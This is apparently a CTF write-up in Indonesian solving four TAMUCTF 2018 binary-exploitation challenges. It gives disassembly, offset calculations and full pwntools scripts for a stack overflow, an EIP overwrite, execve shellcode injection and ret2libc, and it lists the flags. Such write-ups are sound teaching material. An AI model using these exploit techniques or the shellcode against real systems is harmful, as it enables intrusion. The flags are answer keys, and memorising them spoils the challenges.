TAMUCTF 2018 - Pwning
Pwn1
Diberikan sebuah file binary dengan informasi sebagai berikut
Percobaan debugging menggunakan gdb
$ gdb -q pwn1
Reading symbols from pwn1...(no debugging symbols found)...done.
gdb-peda $ pdisass main
Berikut hasil disassable fungsi main
0x080485cf <+29>: call 0x8048410 <setvbuf@plt>
0x080485d4 <+34>: add esp,0x10
0x080485d7 <+37>: sub esp,0xc
0x080485da <+40>: push 0x8048700
0x080485df <+45>: call 0x80483f0 <puts@plt>
0x080485e4 <+50>: add esp,0x10
0x080485e7 <+53>: sub esp,0xc
0x080485ea <+56>: push 0x8048720
0x080485ef <+61>: call 0x80483f0 <puts@plt>
0x080485f4 <+66>: add esp,0x10
0x080485f7 <+69>: sub esp,0xc
0x080485fa <+72>: push 0x804875f
0x080485ff <+77>: call 0x80483f0 <puts@plt>
0x08048604 <+82>: add esp,0x10
0x08048607 <+85>: mov DWORD PTR [ebp-0xc],0x0
0x0804860e <+92>: sub esp,0xc
0x08048611 <+95>: lea eax,[ebp-0x23]
0x08048614 <+98>: push eax
0x08048615 <+99>: call 0x80483d0 <gets@plt>
0x0804861a <+104>: add esp,0x10
0x0804861d <+107>: cmp DWORD PTR [ebp-0xc],0xf007ba11
0x08048624 <+114>: jne 0x804862d <main+123>
0x08048626 <+116>: call 0x804854b <print_flag>
0x0804862b <+121>: jmp 0x804863d <main+139>
0x0804862d <+123>: sub esp,0xc
0x08048630 <+126>: push 0x8048772
0x08048635 <+131>: call 0x80483f0 <puts@plt>
0x0804863a <+136>: add esp,0x10
0x0804863d <+139>: mov eax,0x0
0x08048642 <+144>: mov ecx,DWORD PTR [ebp-0x4]
0x08048645 <+147>: leave
0x08048646 <+148>: lea esp,[ecx-0x4]
0x08048649 <+151>: ret
Terlihat terdapat penggunaan fungsi gets()
yang vulnerable buffer overflow. dan inputan akan disimpan di ebp-0x23
.
lalu pada terdapat intruksi
cmp DWORD PTR [ebp-0xc],0xf007ba11
Yang akan membandingkan ebp-0xc
dengan 0xf007ba11
. perlu dilakukan overwrite local variable karena ebp-0xc
di inisialisasi dengan nilai 0 mov DWORD PTR [ebp-0xc],0x0
.
Jarak antara ebp-0xc
dan ebp-0x23
adalah 23 bytes.
gdb-peda$ distance $ebp-0xc $ebp-0x23
From 0xfffffff4 to 0xffffffdd: -23 bytes, -6 dwords (+1 bytes)
Berikut exploit code yang digunakan
from pwn import *
secret = p32(0xf007ba11)
r = remote("pwn.ctf.tamu.edu",4321)
r.recv(1024)
payload = "A" * 23 + secret
r.sendline(payload)
print r.recv()
Flag : gigem{H0W_H4RD_1S_TH4T?}
Pwn2
Diberikan sebuah file binary dengan informasi berikut
Sama seperti pada pwn1, perbedaan nya pwn2 harus jump ke fungsi print_flag
yang berada di 0804854b
Untuk mengetahui jumlah pattern untuk overwrite EIP
. mengurangi Buffer inputan dengan return address, ebp+0x4
adalah return address untuk 32 bit dan rbp+8
untuk 64 bit.
gdb-peda$ distance $ebp-0xef $ebp+0x4
From 0xffffc3d9 to 0xffffc4cc: 243 bytes, 60 dwords (+3 bytes)
Berikut exploit code nya
from pwn import *
print_flag = p32(0x804854b)
payload = "A" * 243 + print_flag
r = remote("pwn.ctf.tamu.edu", 4322)
r.recv(1024)
r.sendline(payload)
print r.recvall()
Flag : gigem{3ch035_0f_7h3_p4s7}
Pwn3
Diberikan sebuah file binary dengan informasi berikut
Perbedaan pwn3 dan pwn sebelum nya adalah pada pwn3 harus menginjeck Shellcode
Apabila didebug pada bagian Your random number 0xffa6f2aa!
, random number tersebut adalah lokasi buffer inputan akan disimpan (stack).
Berikut exploit code nya
from pwn import *
context.arch = "i386"
r = remote("pwn.ctf.tamu.edu", 4323)
sh = ""
sh += asm("xor eax,eax")
sh += asm("xor ecx,ecx")
sh += asm("push eax")
sh += asm("push 0x68732f2f")
sh += asm("push 0x6e69622f")
sh += asm("lea ebx,[esp]")
sh += asm("mov al,11")
sh += asm("int 0x80")
r.recvuntil("Your random number ")
stack_addr = int(r.recvline().split("!")[0],16)
print "Stack Addr : {}".format(hex(stack_addr))
payload = sh + "\x90" * (242-len(sh))+ p32(stack_addr)
r.sendline(payload)
r.interactive()
Flag : gigem{n0w_w3_4r3_g377in6_s74r73d}
Pwn4
Diberikan sebuah file binary dengan informasi berikut
Pada pwn4 menggunakan teknik Ret2Libc
.
Payload adalah sebagai berikut :
Pattern + function_addr + return_address + function_argument
Pada pwn4 payload seperti berikut :
"A" * 32 + system_addr + "JUNK" + sh_string
sh_string adalah string sh
didapatkan dari menggunakan find
gdb-peda$ find "sh"
Searching for 'sh' in: None ranges
Found 99 results, display max 99 items:
....
pwn4 : 0x804a03d --> 0x60006873 ('sh')
....
Pada bagian return address diisi dengan JUNK
karena memang diperlukan apabila sudah mendapatkan interactive shell.
Dan system_addr adalah fungsi system()
gdb-peda$ pdisass cal
Dump of assembler code for function cal:
0x080485b2 <+14>: call 0x8048430 <system@plt>
Berikut exploit code nya
from pwn import *
sh_string = p32(0x804a03d)
system_addr = p32(0x8048430)
r = remote("pwn.ctf.tamu.edu", 4324)
payload = "A" * 32 + system_addr + "JUNK" + sh_string
r.recvuntil("Input> ")
r.sendline(payload)
r.interactive()